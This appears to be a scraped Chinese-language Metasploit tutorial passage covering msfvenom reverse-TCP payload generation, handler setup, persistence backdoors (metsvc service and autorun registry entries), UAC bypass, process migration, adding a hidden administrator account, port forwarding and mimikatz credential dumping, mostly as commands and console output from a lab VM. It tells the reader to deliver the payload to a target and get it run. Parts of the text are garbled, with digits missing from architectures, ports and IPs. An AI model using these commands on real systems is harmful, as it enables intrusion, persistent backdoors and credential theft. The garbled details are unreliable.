use Fiddle Options for payload/windows/x/meterpreter_reverse_tcp: Name: Windows Meterpreter Shell, Reverse TCP Inline x Module: payload/windows/x/meterpreter_reverse_tcp Platform: Windows Arch: x, x86_Needs Admin: No Total size: 11423 Rank: Normal Provided by: OJ Reeves sf Basic options: Name Current Setting Required Description---- --------------- -------- -----------EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)EXTENSIONS no Comma-separate list of extensions to loadEXTINIT no Initialization strings for extensionsLHOST yes The listen addressLPORT 4444 yes The listen port 举例2: windows/x/meterpreter/reverse_tcp load/windows/x/meterpreter/reverse_tcp: Name: Windows Meterpreter (Reflective Injection x), Windows x Reverse TCP Stager Module: payload/windows/x/meterpreter/reverse_tcp Platform: Windows Arch: x86_Needs Admin: No Total size: 449 Rank: Normal Provided by: skape sf Basic options: Name Current Setting Required Description---- --------------- -------- -----------EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)LHOST yes The listen addressLPORT 4444 yes The listen port Description: Inject the meterpreter server DLL via the Reflective 从Arch看出,第⼀个可以⽤于x, x86_⽽第⼆个只能x86_。这是需要注意的地⽅。12.⾃选模块 ⽣成执⾏计算器payload例⼦: msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > 1.exe13.payload的坑 正常情况下,利⽤msfvenom⽣成的⽊马⽂件,可直接上传到⽬标服务器上运⾏(加权限)。但我⾃⼰遇到过⼀个坑,⽣成的⽂件内容有部分是⽆⽤的,会引起报错,如下图所⽰。 解决⽅案是vim⽂件,删除⽂件开头两⾏⽆效的内容。 0x07获取meterpreter 1.⾸先⽣成可执⾏⽂件 root @ kali:〜#msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f exe -o shell.exe2.启动msfconsole,监听反连端⼝root @ kali:〜#msfconsolemsf>use exploit/multi /handler msf exploit(handler)> set PAYLOAD windows/meterpreter/reverse_tcpPAYLOAD => window /meterpreter/reverse_tcpmsf exploit(handler)> set LHOST 0.0.0.0msf exploit(handler)>set LPORT 444msf exploit(handler)>show options msf exploit(handler)>exploit 0x08 持续性后门 1.metsvc后渗透攻击模块 metsvc后渗透攻击模块其实就是将Meterpreter以系统服务的形式安装到⽬标主机,它会上传三个⽂件:metsvc.dll metsvc-service.exemetsvc.exe 调⽤metsvc后渗透攻击模块命令:run metsvc效果如下图: 执⾏过程:在⽬标主机上创建⼀个监听31337端⼝的服务->在⽬标主机c:\\windows\emp\\下创建⼀个存放后门服务有关⽂件程序的⽬录,并上传metsrv.x86.dll、metsvc-server.exe、metsvc.exe三个⽂件到该⽬录下->开启服务成功后:在⽬标主机上看到31337号端⼝已开,且服务多了⼀个meterpreter(如下图) 使⽤⽅法: 到⽬标机上,我们可以发现Meterpreter服务,正在开启监听并等待连接。 Meterpreter服务后门meterpreter > run metsvc [*] Creating a meterpreter service on port 31337 [*] Creating a temporary installation directory C:\\Users\\Croxy\\AppData\\Local\\Temp\uIKWqmuO...[*] >> Uploading metsrv.x86.dll...[*] >> Uploading metsvc-server.exe...[*] >> Uploading metsvc.exe...[*] Starting the service...* Installing service metsvc* Starting service * Service metsvc successfully installed.之后电脑就默默⽣成了⼀个⾃启服务Meterpreter然后连接后门 msf exploit(handler) > use exploit/multi/handler msf exploit(handler) > set payload windows/metsvc_bind_tcppayload => windows/metsvc_bind_tcpmsf exploit(handler) > set RHOST 10.42.0.RHOST => 10.42.0. msf exploit(handler) > set LPORT 31337LPORT => 31337 msf exploit(handler) > exploit2. persistence模块后门 ⼀个vbs后门写⼊了开机启动项但是容易被发现还是需要⼤家发挥⾃⼰的智慧:) meterpreter > run persistence -X -i 5 -p 23333 -r 10.42.0.1[*] Running Persistance Script [*] Resource file for cleanup created at /home/croxy/.msf4/logs/persistence/TESTING_20150930.3914/TESTING_20150930.3914.rc[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=10.42.0.1 LPORT=23333[*] Persistent agent script is 148453 bytes long [+] Persistent Script written to C:\\Users\\Croxy\\AppData\\Local\\Temp\VBN.vbs[*] Executing script C:\\Users\\Croxy\\AppData\\Local\\Temp\VBN.vbs[+] Agent executed with PID 4140 [*] Installing into autorun as HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\okiASNRzcLenulr[+] Installed into autorun as HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\okiASNRzcLenulr 0x09 meterpreter绕过uac 由于绕过 UAC 的功能需在 meterpreter 的shell 才能实现。因此,我们⾸先要做的就是取得⽬标机器的 meterpreter shell 。(1)⽣成⼀个 payload msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.15.131 lport=4444 -f exe -o /root/virus.exe -e x86/shikata_ga_nai -i 8 将以上⽣成的 payload 发送给⽬标机器并让其执⾏!(2)kali 上配置⼀个反弹会话处理程序msf>use exploit/multi/handler msf>set payload windows/meterpreter/reverse_tcpmsf>set LHOST 192.168.15.131msf>set LPORT 4444msf>exploit 这⾥再介绍⼀种,⽣成反弹 shell 的⽅式。就是直接以 raw 的形式保存成⽂件只要⽬标进⾏了访问,就会反弹回 shell 。具体⽣成命令如下:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.15.131 LPORT=4444 -f raw -o x.php当⽬标机器成功执⾏payload后我们就取得了⼀个 meterpreter shell 。 (3)利⽤ getuid 和 getsystem 命令来提权 (4)进⾏UAC权限绕过 从以上结果我们基本可以判定遭到了 UAC 的⽤户访问控制的拦截!既然这样,那么我们来利⽤ meterpreter 的强⼤功能来进⾏绕过!msf>use exploit/windows/local/askmsf>show optionsmsf>set session 1msf>exploit 当我们成功执⾏以上命令后,我们会在⽬标系统上弹出⼀个确认框只要点击确认即可成功绕过!现在我们再来通过 getuid 和 getsystem 命令来查看当前我们的 shell 权限: 0x10 meterprter实战攻击windows2008r2x 攻击端: OS:Kali IP:192.168.111.129 被害端: OS:Windows server 2008 (位)IP:192.168.111.133(1)获取⽬标主机反弹shell ⾸先在Kali上⽣成meterpreter的payloa root@Kali:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=2013 X > file.exe 接下来是配置监听:root@Kali:~# msfconsolemsf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcpmsf exploit(handler) > set LHOST 192.168.111.129msf exploit(handler) > set LPORT 2013msf exploit(handler) > exploit 然后在Windows2008上执⾏file.exe,返回⼀个meterpreter[*] Sending stage (769024 bytes) to 192.168.111.133 [*] Meterpreter session 1 opened (192.168.111.129:2013 -> 192.168.111.133:49168) at2014-03-13 22:23:18 +0800 meterpreter > (2).转移meterpreter到其他进程 在渗透过程中由于各种原因,当前meterpreter进程很容易被⼲掉,将meterpreter转移到系统常驻进程是个好主意meterpreter > getuid //查看当前权限 Server username: WIN-K30V5SI0PCEAdministratormeterpreter > ps //列出当前进程 Process List============ PID PPID Name Arch Session User Path--- ---- ---- ---- ------- ---- ----0 0 [System Process] 4294967295 4 0 System x86_ 0 244 4 smss.exe x86_ 0 NT AUTHORITYSYSTEM C:WindowsSystem32smss.exe 2 492 svchost.exe x86_ 0 NT AUTHORITYLOCAL SERVICE C:WindowsSystem32svchost.exe336 328 csrss.exe x86_ 0 NT AUTHORITYSYSTEM C:WindowsSystem32csrss.exe388 380 csrss.exe x86_ 1 NT AUTHORITYSYSTEM C:WindowsSystem32csrss.exe396 328 wininit.exe x86_ 0 NT AUTHORITYSYSTEM C:WindowsSystem32wininit.exe432 380 winlogon.exe x86_ 1 NT AUTHORITYSYSTEM C:WindowsSystem32winlogon.exe492 396 services.exe x86_ 0 NT AUTHORITYSYSTEM C:WindowsSystem32services.exe500 396 lsass.exe x86_ 0 NT AUTHORITYSYSTEM C:WindowsSystem32lsass.exe512 396 lsm.exe x86_ 0 NT AUTHORITYSYSTEM C:WindowsSystem32lsm.exe596 492 svchost.exe x86_ 0 NT AUTHORITYSYSTEM C:WindowsSystem32svchost.exe 656 492 svchost.exe x86_ 0 NT AUTHORITYNETWORK SERVICE C:WindowsSystem32svchost.exe748 492 svchost.exe x86_ 0 NT AUTHORITYLOCAL SERVICE C:WindowsSystem32svchost.exe796 492 svchost.exe x86_ 0 NT AUTHORITYSYSTEM C:WindowsSystem32svchost.exe840 492 svchost.exe x86_ 0 NT AUTHORITYLOCAL SERVICE C:WindowsSystem32svchost.exe856 388 conhost.exe x86_ 1 WIN-K30V5SI0PCEAdministrator C:WindowsSystem32conhost.exe860 2044 cmd.exe x86_ 1 WIN-K30V5SI0PCEAdministrator C:WindowsSystem32cmd.exe884 492 svchost.exe x86_ 0 NT AUTHORITYSYSTEM C:WindowsSystem32svchost.exe924 492 svchost.exe x86_ 0 NT AUTHORITYNETWORK SERVICE C:WindowsSystem32svchost.exe972 492 sppsvc.exe x86_ 0 NT AUTHORITYNETWORK SERVICE C:WindowsSystem32sppsvc.exe976 492 spoolsv.exe x86_ 0 NT AUTHORITYSYSTEM C:WindowsSystem32spoolsv.exe1056 492 svchost.exe x86_ 0 NT AUTHORITYLOCAL SERVICE C:WindowsSystem32svchost.exe 1092 492 vmtoolsd.exe x86_ 0 NT AUTHORITYSYSTEM C:Program FilesVMwareVMware Toolsvmtoolsd.exe1332 492 svchost.exe x86_ 0 NT AUTHORITYNETWORK SERVICE C:WindowsSystem32svchost.exe 1492 2044 vmtoolsd.exe x86_ 1 WIN-K30V5SI0PCEAdministrator C:Program FilesVMwareVMware Toolsvmtoolsd.exe1560 492 dllhost.exe x86_ 0 NT AUTHORITYSYSTEM C:WindowsSystem32dllhost.exe10 492 msdtc.exe x86_ 0 NT AUTHORITYNETWORK SERVICE C:WindowsSystem32msdtc.exe1968 492 taskhost.exe x86_ 1 WIN-K30V5SI0PCEAdministrator C:WindowsSystem32taskhost.exe2024 884 dwm.exe x86_ 1 WIN-K30V5SI0PCEAdministrator C:WindowsSystem32dwm.exe2044 2016 explorer.exe x86_ 1 WIN-K30V5SI0PCEAdministrator C:Windowsexplorer.exe 2204 2428 mscorsvw.exe x86_ 0 NT AUTHORITYSYSTEM C:WindowsMicrosoft.NETFrameworkv2.0.50727mscorsvw.exe2312 492 svchost.exe x86_ 0 NT AUTHORITYSYSTEM C:WindowsSystem32svchost.exe2332 2044 file.exe x86 1 WIN-K30V5SI0PCEAdministrator C:UsersAdministratorDesktopfile.exe 2428 492 mscorsvw.exe x86_ 0 NT AUTHORITYSYSTEM C:WindowsMicrosoft.NETFrameworkv2.0.50727mscorsvw.exe2588 492 mscorsvw.exe x86 0 NT AUTHORITYSYSTEM C:WindowsMicrosoft.NETFrameworkv2.0.50727mscorsvw.exe2972 492 svchost.exe x86_ 0 NT AUTHORITYSYSTEM C:WindowsSystem32svchost.exe meterpreter > migrate 2044 //迁移到PID为2044的explorer进程[*] Migrating from 2332 to 2044...[*] Migration completed successfully.meterpreter >meterpreter > ps Process List============ PID PPID Name Arch Session User Path--- ---- ---- ---- ------- ---- ----0 0 [System Process] 4294967295 4 0 System x86_ 0 244 4 smss.exe x86_ 0 NT AUTHORITYSYSTEM SystemRootSystem32smss.exe 2 492 svchost.exe x86_ 0 NT AUTHORITYLOCAL SERVICE C:\\Windows\\system32\\svchost.exe 336 328 csrss.exe x86_ 0 NT AUTHORITYSYSTEM C:\\Windows\\system32\\csrss.exe388 380 csrss.exe x86_ 1 NT AUTHORITYSYSTEM C:\\Windows\\system32\\csrss.exe396 328 wininit.exe x86_ 0 NT AUTHORITYSYSTEM C:\\Windows\\system32\\wininit.exe432 380 winlogon.exe x86_ 1 NT AUTHORITYSYSTEM C:\\Windows\\system32\\winlogon.exe492 396 services.exe x86_ 0 NT AUTHORITYSYSTEM C:\\Windows\\system32\\services.exe500 396 lsass.exe x86_ 0 NT AUTHORITYSYSTEM C:\\Windows\\system32\\lsass.exe512 396 lsm.exe x86_ 0 NT AUTHORITYSYSTEM C:\\Windows\\system32\\lsm.exe596 492 svchost.exe x86_ 0 NT AUTHORITYSYSTEM C:\\Windows\\system32\\svchost.exe656 492 svchost.exe x86_ 0 NT AUTHORITYNETWORK SERVICE C:\\Windows\\system32\\svchost.exe748 492 svchost.exe x86_ 0 NT AUTHORITYLOCAL SERVICE C:\\Windows\\system32\\svchost.exe796 492 svchost.exe x86_ 0 NT AUTHORITYSYSTEM C:\\Windows\\system32\\svchost.exe840 492 svchost.exe x86_ 0 NT AUTHORITYLOCAL SERVICE C:\\Windows\\system32\\svchost.exe856 388 conhost.exe x86_ 1 WIN-K30V5SI0PCEAdministrator C:\\Windows\\system32\\conhost.exe860 2044 cmd.exe x86_ 1 WIN-K30V5SI0PCEAdministrator C:\\Windows\\system32\\cmd.exe884 492 svchost.exe x86_ 0 NT AUTHORITYSYSTEM C:\\Windows\\system32\\svchost.exe924 492 svchost.exe x86_ 0 NT AUTHORITYNETWORK SERVICE C:\\Windows\\system32\\svchost.exe972 492 sppsvc.exe x86_ 0 NT AUTHORITYNETWORK SERVICE C:\\Windows\\system32\\sppsvc.exe976 492 spoolsv.exe x86_ 0 NT AUTHORITYSYSTEM C:\\Windows\\system32\\spoolsv.exe1056 492 svchost.exe x86_ 0 NT AUTHORITYLOCAL SERVICE C:\\Windows\\system32\\svchost.exe 1092 492 vmtoolsd.exe x86_ 0 NT AUTHORITYSYSTEM C:\\Program Files\\VMware\\VMware Toolsvmtoolsd.exe1332 492 svchost.exe x86_ 0 NT AUTHORITYNETWORK SERVICE C:\\Windows\\system32\\svchost.exe 1492 2044 vmtoolsd.exe x86_ 1 WIN-K30V5SI0PCEAdministrator C:\\Program Files\\VMware\\VMware Toolsvmtoolsd.exe1560 492 dllhost.exe x86_ 0 NT AUTHORITYSYSTEM C:\\Windows\\system32\\dllhost.exe10 492 msdtc.exe x86_ 0 NT AUTHORITYNETWORK SERVICE C:\\Windows\\system32\\msdtc.exe1968 492 taskhost.exe x86_ 1 WIN-K30V5SI0PCEAdministrator C:\\Windows\\system32\askhost.exe2024 884 dwm.exe x86_ 1 WIN-K30V5SI0PCEAdministrator C:\\Windows\\system32\\Dwm.exe2044 2016 explorer.exe x86_ 1 WIN-K30V5SI0PCEAdministrator C:\\Windows\\Explorer.EXE2312 492 svchost.exe x86_ 0 NT AUTHORITYSYSTEM C:\\Windows\\system32\\svchost.exe 2428 492 mscorsvw.exe x86_ 0 NT AUTHORITYSYSTEM C:\\Windows\\Microsoft.NETFrameworkv2.0.50727\\mscorsvw.exe2588 492 mscorsvw.exe x86 0 NT AUTHORITYSYSTEM C:\\Windows\\Microsoft.NETFrameworkv2.0.50727\\mscorsvw.exe2972 492 svchost.exe x86_ 0 NT AUTHORITYSYSTEM C:\\Windows\\system32\\svchost.exe如上所⽰file.exe进程已经没了。需要注意的是如果存在杀软的话可能会阻⽌进程注⼊(3).测试是不是虚拟机 meterpreter > run post/windows/gather/checkvm [*] Checking if WIN-K30V5SI0PCE is a Virtual Machine .....[*] This is a VMware Virtual Machine我的2008是装在VMWare上的(4).安装后门 ⽅法⼀:persistence⽅法meterpreter > run persistence -h Meterpreter Script for creating a persistent backdoor on a target host. OPTIONS: -A Automatically start a matching multi/handler to connect to the agent -L -S Automatically start the agent on boot as a service (with SYSTEM privileges) -T -U Automatically start the agent when the User logs on -X Automatically start the agent when the system boots -h This help menu -i -r meterpreter > run persistence -X -i 10 -p 2241 -r 192.168.111.129[*] Running Persistance Script [*] Resource file for cleanup created at /root/.msf4/logs/persistence/WIN-K30V5SI0PCE_20140313.19/WIN-K30V5SI0PCE_20140313.19.rc[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=2241[*] Persistent agent script is 148439 bytes long [+] Persistent Script written to C:UsersADMINI~1AppDataLocalTempUhyxOTTzTb.vbs[*] Executing script C:UsersADMINI~1AppDataLocalTempUhyxOTTzTb.vbs[+] Agent executed with PID 2916 [*] Installing into autorun as HKLM\\Software\\Microsoft\\Windows\\Current\\Version\\Run\\HstWtPyXHYnhQ[+] Installed into autorun as HKLM\\Software\\Microsoft\\Windows\\Current\\Version\\Run\\HstWtPyXHYnhQ现在退出服务器,重新配置msf > use multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcpmsf exploit(handler) > set LHOST 192.168.111.129msf exploit(handler) > set LPORT 2241msf exploit(handler) > exploit [*] Started reverse handler on 192.168.111.129:2241[*] Starting the payload handler... [*] Sending stage (769024 bytes) to 192.168.111.133 [*] Meterpreter session 1 opened (192.168.111.129:2241 -> 192.168.111.133:49159) at2014-03-13 23:01:55 +0800如图,反弹成功,这个被动型的后门在某些特殊的场合会是个不错的选择⽅法⼆:metsvc meterpreter > run metsvc [*] Creating a meterpreter service on port 31337 [*] Creating a temporary installation directory C:\\Users\\ADMINI~1\\AppData\\LocalTemp\\HzWbqqRpuBlxn... [*] >> Uploading metsrv.x86.dll...[*] >> Uploading metsvc-server.exe...[*] >> Uploading metsvc.exe...[*] Starting the service... * Installing service metsvc* Starting service Service metsvc successfully installed. metsvc后门安装成功,接下来是连接root@Kali:~# msfconsole , , / ((__---,,,---__)) (_) O O (_)_________ _ / | o_o M S F | _____ | * ||| WW||| ||| ||| Using notepad to track pentests? Have Metasploit Pro report on hosts,services, sessions and evidence -- type 'go_pro' to launch it now. =[ metasploit v4.8.1-2013120401 [core:4.8 api:1.0]+ -- --=[ 1239 exploits - 755 auxiliary - 207 post+ -- --=[ 324 payloads - 31 encoders - 8 nops msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/metsvc_bind_tcpmsf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/metsvc_bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LPORT 4444 yes The listen port RHOST no The target address Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > set RHOST 192.168.111.133msf exploit(handler) > set LPORT 31337msf exploit(handler) > exploit[*] Started bind handler [*] Starting the payload handler... [*] Meterpreter session 1 opened (192.168.111.129:49313 -> 192.168.111.133:31337) at2014-03-13 23:12: +0800meterpreter > ⽅法三:这个是类似于添加账户33远程连接meterpreter > run getgui -u zero -p haizeiwang123_ [*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator[*] Carlos Perez carlos_perez@darkoperator.com[*] Setting user account for logon [*] Adding User: zero with Password: haizeiwang123_[*] Hiding user from Windows Login screen [*] Adding User: zero to local group 'Remote Desktop Users'[*] Adding User: zero to local group 'Administrators'[*] You can now login with the created user [*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20140314.4134.rcmeterpreter > (5).端⼝转发 主机处于内⽹也是⽐较常见的,metasploit⾃带了⼀个端⼝转发⼯具meterpreter > portfwd -h Usage: portfwd [-h] [add | delete | list | flush] [args]OPTIONS: -L -l meterpreter > portfwd add -L 1234 -p 33 -r 192.168.111.133[-] You must supply a local port, remote host, and remote port. meterpreter > portfwd add -l 1234 -p 33 -r 192.168.111.133[*] Local TCP relay created: 0.0.0.0:1234 <-> 192.168.111.133:33meterpreter >接下来运⾏ rdesktop -u zero -p haizeiwang123_ 127.0.0.1:1234 (6).获取密码 法国神器mimikatz可以直接获得操作系统的明⽂密码,meterpreter添加了这个模块⾸先加载mimikatz模块 由于我的Windows 2008是位的,所以先要转移到位进程meterpreter > ps ...... 2000 472 dllhost.exe x86_ 0 NT AUTHORITYSYSTEM C:WindowsSystem32dllhost.exe22 1832 explorer.exe x86_ 2 WIN-K30V5SI0PCEzero C:Windowsexplorer.exe 2292 22 vmtoolsd.exe x86_ 2 WIN-K30V5SI0PCEzero C:Program FilesVMwareVMware Toolsvmtoolsd.exe2520 372 FfBoPtYGlNj.exe x86 1 WIN-K30V5SI0PCEAdministrator C:UsersADMINI~1AppDataLocalTemp1rad87A98.tmpFfBoPtYGlNj.exe 2780 2256 winlogon.exe x86_ 2 NT AUTHORITYSYSTEM C:WindowsSystem32winlogon.exe3028 880 dwm.exe x86_ 2 WIN-K30V5SI0PCEzero C:WindowsSystem32dwm.exe meterpreter > migrate 2780[*] Removing existing TCP relays... [*] Successfully stopped TCP relay on 0.0.0.0:1234[*] 1 TCP relay(s) removed.[*] Migrating from 1428 to 22...[*] Migration completed successfully.[*] Recreating TCP relay(s)... [*] Local TCP relay recreated: 0.0.0.0:1234 <-> 192.168.111.133:33meterpreter > load mimikatz Loading extension mimikatz...success.meterpreter >获取密码哈希:meterpreter > msv[+] Running as SYSTEM[*] Retrieving msv credentialsmsv credentials=============== AuthID Package Domain User Password------ ------- ------ ---- --------0;339062 NTLM WIN-K30V5SI0PCE Administrator lm{ 179b3f1af1324ade301c14040883a0d8 }, ntlm{ 358c0a328bdf6b42185ca0a1773fb0be } 0;593431 NTLM WIN-K30V5SI0PCE zero lm{ bc61a4bbe791e262911297f380ff1b }, ntlm{ 880be0798a0d1caebdf913bfcc28e1ad } 0;593459 NTLM WIN-K30V5SI0PCE zero lm{ bc61a4bbe791e262911297f380ff1b }, ntlm{ 880be0798a0d1caebdf913bfcc28e1ad }0;995 Negotiate NT AUTHORITY IUSR n.s. (Credentials KO) 0;996 Negotiate WORKGROUP WIN-K30V5SI0PCE$ n.s. (Credentials KO)0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)0;47971 NTLM n.s. (Credentials KO) 0;999 NTLM WORKGROUP WIN-K30V5SI0PCE$ n.s. (Credentials KO)获取明⽂密码meterpreter > kerberos[+] Running as SYSTEM [*] Retrieving kerberos credentialskerberos credentials==================== AuthID Package Domain User Password------ ------- ------ ---- --------0;999 NTLM WORKGROUP WIN-K30V5SI0PCE$0;996 Negotiate WORKGROUP WIN-K30V5SI0PCE$0;47971 NTLM 0;997 Negotiate NT AUTHORITY LOCAL SERVICE 0;995 Negotiate NT AUTHORITY IUSR 0;339062 NTLM WIN-K30V5SI0PCE Administrator ceshimima123_0;593459 NTLM WIN-K30V5SI0PCE zero haizeiwang123_0;593431 NTLM WIN-K30V5SI0PCE zero haizeiwang123_ 因篇幅问题不能全部显示,请点此查看更多更全内容 设定规避字符集,⽐如: '\\x00\\xff'-i, --iterations
Copyright © 2019- awee.cn 版权所有 湘ICP备2023022495号-5
违法及侵权请联系:TEL:199 1889 7713 E-MAIL:2724546146@qq.com
本站由北京市万商天勤律师事务所王兴未律师提供法律服务